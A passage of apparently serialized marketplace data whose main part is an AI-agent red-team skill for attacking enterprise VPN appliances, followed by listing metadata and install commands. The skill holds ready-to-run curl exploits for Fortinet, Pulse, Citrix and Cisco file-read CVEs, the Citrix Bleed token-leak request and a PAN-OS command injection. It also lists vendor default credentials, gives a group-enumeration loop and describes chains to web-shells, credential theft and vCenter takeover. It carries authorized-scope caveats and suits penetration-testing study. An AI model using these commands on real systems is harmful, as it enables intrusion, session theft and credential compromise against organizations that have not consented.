Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `\u002F+webvpn+\u002Findex.html` |\n| **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |\n\n```bash\n# Cisco CVE-2020-3452 — file read\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Ffiles\u002Ffile_name.html?Filename=Microsoft.Manifest+\u002F+CSCOT+\u002Flua\u002Ftest.lua' | head -5\n\n# Cisco CVE-2018-0296 — path traversal\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOT+\u002Ftranslation-table?type=mst&textdomain=\u002F%2bCSCOE%2b\u002Fportal_inc.lua' | head -20\n\n# Files commonly retrievable on vulnerable ASA:\n# \u002F+CSCOE+\u002Fportal_inc.lua    (portal inclusions — may reveal local users)\n# \u002F+CSCOE+\u002Fsession_password.html\n# \u002F+CSCOE+\u002Ffiles\u002Ffiles.html\n```\n\n### Fortinet FortiGate \u002F FortiOS\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET \u002Fremote\u002Ffgt_lang?lang=\u002F..\u002F..\u002F..\u002F..\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002Fdev\u002Fcmdb\u002Fsslvpn_websession` |\n| **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` |\n| **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available |\n| **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` |\n| **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET \u002Fendpoint` on admin-interface port |\n\n```bash\n# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read\ncurl -sk --path-as-is 'https:\u002F\u002Ftarget\u002Fremote\u002Ffgt_lang?lang=\u002F..\u002F..\u002F..\u002F..\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002Fdev\u002Fcmdb\u002Fsslvpn_websession'\n# Response contains plaintext usernames + sessions if vulnerable\n\n# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):\n# IP:PORT     username     password     (and others)\n```\n\n### Citrix NetScaler \u002F ADC \u002F Gateway\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2019-19781** (Shitrix) | ADC\u002FGateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET \u002Fvpn\u002F..\u002Fvpns\u002Fcfg\u002Fsmb.conf` |\n| **CVE-2022-27518** | ADC\u002FGateway with SAML configured | Pre-auth RCE | Complex; test with nuclei |\n| **CVE-2023-3519** | NetScaler ADC\u002FGateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist |\n| **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC\u002FGateway 13.0-14.1 | Memory disclosure → session token theft | `POST \u002Foauth\u002Fidp\u002F.well-known\u002Fopenid-configuration` with crafted Host header — long Host header triggers memory leak in response |\n\n```bash\n# Citrix Bleed (CVE-2023-4966) detection\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https:\u002F\u002Ftarget\u002Foauth\u002Fidp\u002F.well-known\u002Fopenid-configuration\" -o response.txt\n# If response is large (>10KB) and contains random memory contents — vulnerable\n# Session tokens often present in the memory dump\n\n# CVE-2019-19781 file read\ncurl -sk --path-as-is 'https:\u002F\u002Ftarget\u002Fvpn\u002F..\u002Fvpns\u002Fcfg\u002Fsmb.conf'\n```\n\n### Palo Alto GlobalProtect\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST \u002Fssl-vpn\u002Flogin.esp` with crafted Cookie header containing `SESSID=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fpan\u002Ftest.txt` |\n\n```bash\n# CVE-2024-3400 detection\ncurl -sk -X POST 'https:\u002F\u002Ftarget\u002Fssl-vpn\u002Flogin.esp' \\\n  -H 'Cookie: SESSID=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fpan\u002Ftest_$(id)_test.txt' \\\n  --data 'jsessionid=test'\n# Look for file-creation side-effect on test path — palo creates file with command output\n```\n\n### Pulse Secure \u002F Ivanti Connect Secure \u002F Policy Secure\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET \u002Fdana-na\u002F..\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd?\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F` |\n| **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei |\n| **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST \u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F` with crafted body |\n| **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |\n\n```bash\n# CVE-2019-11510 — Pulse file read\ncurl -sk --path-as-is 'https:\u002F\u002Ftarget\u002Fdana-na\u002F..\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd?\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F'\n```\n\n### SonicWall\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available |\n| **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |\n\n---\n\n## SAML SP \u002F IdP misconfigurations (always check)\n\nMost enterprise VPNs now use SAML for SSO. Check SP metadata:\n\n```bash\n# Cisco ASA\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Fsaml\u002Fsp\u002Fmetadata' | head -50\n\n# Fortinet\ncurl -sk 'https:\u002F\u002Ftarget\u002Fremote\u002Fsaml\u002Fmetadata' | head -50\n\n# Citrix\ncurl -sk 'https:\u002F\u002Ftarget\u002Fsaml\u002Flogin' | head -30\n```\n\nLook for:\n- `AuthnRequestsSigned=\"false\"` → see `hunt-saml` for XSW exploitation\n- `WantAssertionsSigned=\"false\"` → severe; assertion-replay possible\n- Audience-restriction validation gaps\n- Public SP signing cert (for replay\u002Fforging attacks)\n\n---\n\n## Default credentials (test sparingly — lockout risk)\n\n| Vendor | User | Password | Notes |\n|---|---|---|---|\n| Cisco ASA | admin | cisco | Default factory; rarely seen in prod |\n| Cisco ASA | enable_15 | cisco | Console |\n| Fortinet | admin | (empty) | Factory default |\n| Citrix NetScaler | nsroot | nsroot | Factory default |\n| Citrix NetScaler | nsroot | (serial number) | Newer firmware |\n| Palo Alto | admin | admin | Factory default |\n| Pulse Secure | admin | password | Factory; CIS-hardened changes this |\n| F5 Big-IP | root | default | Factory |\n| F5 Big-IP | admin | admin | Common alternate |\n| SonicWall | admin | password | Factory |\n\n⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.\n\n---\n\n## Group \u002F tunnel-group enumeration (Cisco-specific)\n\nCisco ASA AAA groups can sometimes be enumerated without auth.\n\n```bash\n# Tunnel group enumeration via timing\nfor group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do\n  ms=$(curl -sk --max-time 10 -o \u002Fdev\u002Fnull -w \"%{time_total}\" \\\n    -X POST \"https:\u002F\u002Ftarget\u002F+webvpn+\u002Findex.html\" \\\n    -d \"username=test&password=test&group_list=$group&tgroup=&Login=Login\")\n  echo \"$group: ${ms}s\"\ndone\n# Larger differential timing = group exists; valid groups respond slower in some builds\n```\n\n---\n\n## AAA backend identification\n\nAfter auth fails, look at error response details:\n\n| Pattern in response | AAA backend |\n|---|---|\n| `a0=2` (Cisco) | Unknown user |\n| `a0=3` (Cisco) | Wrong password |\n| `a0=4` (Cisco) | Login restricted |\n| `a0=12` (Cisco) | Account locked |\n| `a0=115` (Cisco) | Generic auth fail (LDAP\u002FRADIUS\u002FAD layer error) |\n| AADSTS in response body | Backed by Entra (SAML) |\n| `Authentication failed via RADIUS` | RADIUS backend |\n| `Invalid username or password` (generic) | LDAP or local DB |\n\nIf you see SAML\u002FEntra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.\n\n---\n\n## Common probe sequence (5-minute fingerprint)\n\n```bash\nTARGET=\"vpn.target.com\"\n\n# Cisco\ncurl -skI \"https:\u002F\u002F$TARGET\u002F+CSCOE+\u002Flogon.html\" 2>&1 | head -3\ncurl -sk \"https:\u002F\u002F$TARGET\u002F+CSCOE+\u002Fsaml\u002Fsp\u002Fmetadata\" -o \u002Ftmp\u002Fcisco_saml.xml; ls -la \u002Ftmp\u002Fcisco_saml.xml\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002F+CSCOE+\u002Ffiles\u002Ffile_name.html?Filename=Microsoft.Manifest\" -o \u002Ftmp\u002Fcisco_cve.html\n\n# Fortinet\ncurl -skI \"https:\u002F\u002F$TARGET\u002Fremote\u002Flogin\" 2>&1 | head -3\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002Fremote\u002Ffgt_lang?lang=\u002F..\u002F..\u002F..\u002F..\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002Fdev\u002Fcmdb\u002Fsslvpn_websession\" -o \u002Ftmp\u002Fforti_cve.txt; head -c 200 \u002Ftmp\u002Fforti_cve.txt\n\n# Citrix\ncurl -skI \"https:\u002F\u002F$TARGET\u002F\" 2>&1 | head -3\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002Fvpn\u002F..\u002Fvpns\u002Fcfg\u002Fsmb.conf\" -o \u002Ftmp\u002Fcitrix_cve.txt; head -c 200 \u002Ftmp\u002Fcitrix_cve.txt\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https:\u002F\u002F$TARGET\u002Foauth\u002Fidp\u002F.well-known\u002Fopenid-configuration\" -o \u002Ftmp\u002Fcitrix_bleed.txt\nwc -c \u002Ftmp\u002Fcitrix_bleed.txt\n\n# Palo Alto\ncurl -skI \"https:\u002F\u002F$TARGET\u002Fglobal-protect\u002Flogin.esp\" 2>&1 | head -3\n\n# Pulse \u002F Ivanti\ncurl -skI \"https:\u002F\u002F$TARGET\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi\" 2>&1 | head -3\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002Fdana-na\u002F..\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd?\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F\" -o \u002Ftmp\u002Fpulse_cve.txt; head -c 200 \u002Ftmp\u002Fpulse_cve.txt\n```\n\n---\n\n## Nuclei templates for fast triage\n\nNuclei has high-quality templates for most of the above CVEs. Single command sweeps:\n\n```bash\nnuclei -u https:\u002F\u002Ftarget\u002F \\\n  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \\\n  -severity high,critical -rl 5\n```\n\nAdd `-as` (auto-scan) for broader vuln coverage but slower.\n\n---\n\n## Operational discipline\n\n- **Banner-stripped servers (no version disclosure)** are good defense-in-depth — record as positive finding even if no CVE found\n- **Rate-limit yourself** — these appliances often log every request to a SIEM. Patient pace, jittered timing.\n- **SAML metadata is anonymous** — pull it. It's intel about AAA backend.\n- **Don't run pre-auth-RCE PoCs in red team without explicit OK** — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.\n- **Document the AAA backend identification** — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.\n\n---\n\n## Bridge to neighboring skills\n\n- `m365-entra-attack` — when AAA backend is Entra SAML; cred-spray strategy carries over\n- `hunt-saml` — XSW \u002F signature-stripping if SAML SP is misconfigured\n- `mid-engagement-ir-detection` — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement\n- `redteam-mindset` — banner-stripped ≠ \"not vulnerable\"; keep digging via behavioral fingerprints\n\n---\n\n## Anti-patterns\n\n- **Don't conclude \"patched\" from a 404 on one CVE path** — patches deploy unevenly; test 3+ CVEs per vendor\n- **Don't trust the version banner alone** — appliance vendors often backport fixes without bumping the version string\n- **Don't run heavy nuclei scans without rate-limiting** — these appliances are critical infrastructure\n- **Don't fingerprint by trying all CVE PoCs immediately** — start with non-disruptive HEAD + version-banner probes\n- **Don't skip SAML metadata** — even when the appliance is patched, SAML SP misconfig is its own attack surface\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-rce`** — Every major VPN appliance (Pulse Secure, Fortinet, Citrix, Ivanti, Palo Alto) has shipped pre-auth path-traversal-to-RCE in the last 24 months. Chain primitive: VPN appliance CVE (e.g., Ivanti ICS CVE-2024-21887, Citrix Bleed CVE-2023-4966, Fortinet CVE-2024-21762) → `hunt-rce` pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as `root` → VPN config + LDAP bind credentials extracted.\n- **`hunt-saml`** — VPN SAML SP misconfig persists even on fully-patched appliances. Chain primitive: appliance patched against latest CVE but `\u002Fsaml\u002Fmetadata` reachable → IdP fingerprinted → `hunt-saml` XSW or comment-injection against IdP → forged assertion → VPN session established without password\u002FMFA.\n- **`vmware-vcenter-attack`** — Post-VPN-foothold the natural next pivot is vCenter. Chain primitive: VPN web-shell → cred extraction from VPN appliance config (LDAP bind, RADIUS shared secret) → reuse against internal vCenter → if scope permits, `vmware-vcenter-attack` → datacenter takeover.\n- **`hunt-ntlm-info`** — Some VPN appliances expose anonymous NTLM on management paths. Chain primitive: VPN admin portal NTLM Type-2 capture → `hunt-ntlm-info` AV_PAIR decode → internal AD forest name → `m365-entra-attack` Entra spray on synced tenant.\n- **`mid-engagement-ir-detection`** + **`redteam-report-template`** — VPN appliance CVE exploitation is high-noise; SOC patches fast. Chain primitive: confirmed CVE → baseline capture via `mid-engagement-ir-detection` → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through `triage-validation` → package via `redteam-report-template` with explicit critical-infrastructure framing.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n",{"name":5,"risk":31,"source":48,"license":14,"sources":49,"category":42,"date_added":50,"description":7,"source_repo":51,"source_type":36,"report_count":52,"compatibility":53,"license_source":54},"https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter","authorized-engagement, public-advisories, cisa-kev","2026-09-20","elementalsouls\u002FClaude-BugHunter",1,"Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.","https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE","f3312ba749561b6159f477dbfc9313c875d40a56",".agents\u002Fskills_archive\u002Fenterprise-vpn-attack","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612","2026-10-25 23:50:58",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill enterprise-vpn-attack",{"tool":66,"command":67},"bunx","bunx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill enterprise-vpn-attack",{"tool":69,"command":70},"pnpm","pnpm dlx skills add duc-duy-1612\u002FOnline-Delivery-Systems-Web --skill enterprise-vpn-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fenterprise-vpn-attack\u002FSKILL.md",true,[],[75,97,121,146,174,198],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":84,"publishedAt":43},"01M6Q0FA5FZ410Z33Z3TFQ4DBA","zero-trust","Implement zero-trust network architecture. Configure identity-based access, micro-segmentation, and continuous verification. Use when implementing modern security architectures.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzero-trust\u002FSKILL.md",[81],{"categoryNo":82,"categoryName":83,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",[85,86,87,88,89,90,77,91,92,38,93,37,36,35,94,95,33,32,30,96],"ZeRO","trust","zero trust","architecture","assessment","verification","segmentation","devops-security","configure","active","critical","implementing",{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":43},"01M6Q0F1YZJW3KX5FBKEVZ8CV4","zcode-delegate","Delegate coding tasks to the Z.AI ZCode CLI only when the user explicitly requests it, while the orchestrator retains review and landing responsibility.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fzcode-delegate\u002FSKILL.md",[],[104,105,106,107,108,109,110,111,112,113,114,115,116,37,117,36,118,119,95,120],"delegate","zcode","zcode delegate","review","cli","orchestration","tasks","run","Bash","model","node","read","orchestrator","files","desktop app","app","agent-orchestration",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":127,"publishedAt":43},"01M6Q0ETK41VGNMYEXW0T00AJN","youtube-transcript","Fetch YouTube transcripts through DeepAPI or local fallback tooling and save clean text output.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript\u002FSKILL.md",[],[128,129,130,131,132,133,134,135,136,137,138,139,140,36,35,141,142,143,144,145],"transcript","youtube transcript","youtube","safe","github","codex","research","license","https","text","fetch","tooling","clean","local","output","deepapi","youtube transcripts","blob",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":163,"publishedAt":43},"01M6Q0EPPH2PVMDW40017F8WX0","youtube-transcript-skills","Fetch YouTube video transcripts, search videos\u002Fchannels, browse channels, and extract playlists via the getyoutubetranscript.com API - free tier, no card required.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-transcript-skills\u002FSKILL.md",[152,155,158],{"categoryNo":153,"categoryName":154,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":156,"categoryName":157,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",{"categoryNo":159,"categoryName":160,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[128,129,130,164,131,165,132,133,135,166,167,168,169,138,170,36,35,171,172,173],"youtube transcript skills","gemini","search","api","Video","browse","api-integration","free","card","channels",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":184,"publishedAt":43},"01M6Q0EAB96PX83W5PTE8A0R8D","youtube-notetaker","Turn YouTube talks into local study notes with slides, transcripts, editable annotations, and a markdown-backed viewer.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-notetaker\u002FSKILL.md",[180,183],{"categoryNo":181,"categoryName":182,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":156,"categoryName":157,"taxonomyType":20,"taxonomyTypeDesc":21},[130,185,186,108,131,187,188,189,190,135,168,191,192,193,194,35,195,141,196,197],"youtube notetaker","notetaker","workflow","official","notes","code","markdown","slides","annotations","README","study","dair-academy","viewer",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":205,"publishedAt":43},"01M6Q0E55F0GW5MX48V8HXS8B5","youtube-full","Fetch YouTube transcripts, search videos, browse channels, and extract playlists via TranscriptAPI — no yt-dlp, no Google API key, works from any cloud server.","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fyoutube-full\u002FSKILL.md",[204],{"categoryNo":153,"categoryName":154,"taxonomyType":20,"taxonomyTypeDesc":21},[206,130,207,208,131,165,166,209,210,167,168,169,138,211,170,36,35,171,212,144],"youtube full","full","google","server","dlp","credits","automatic"]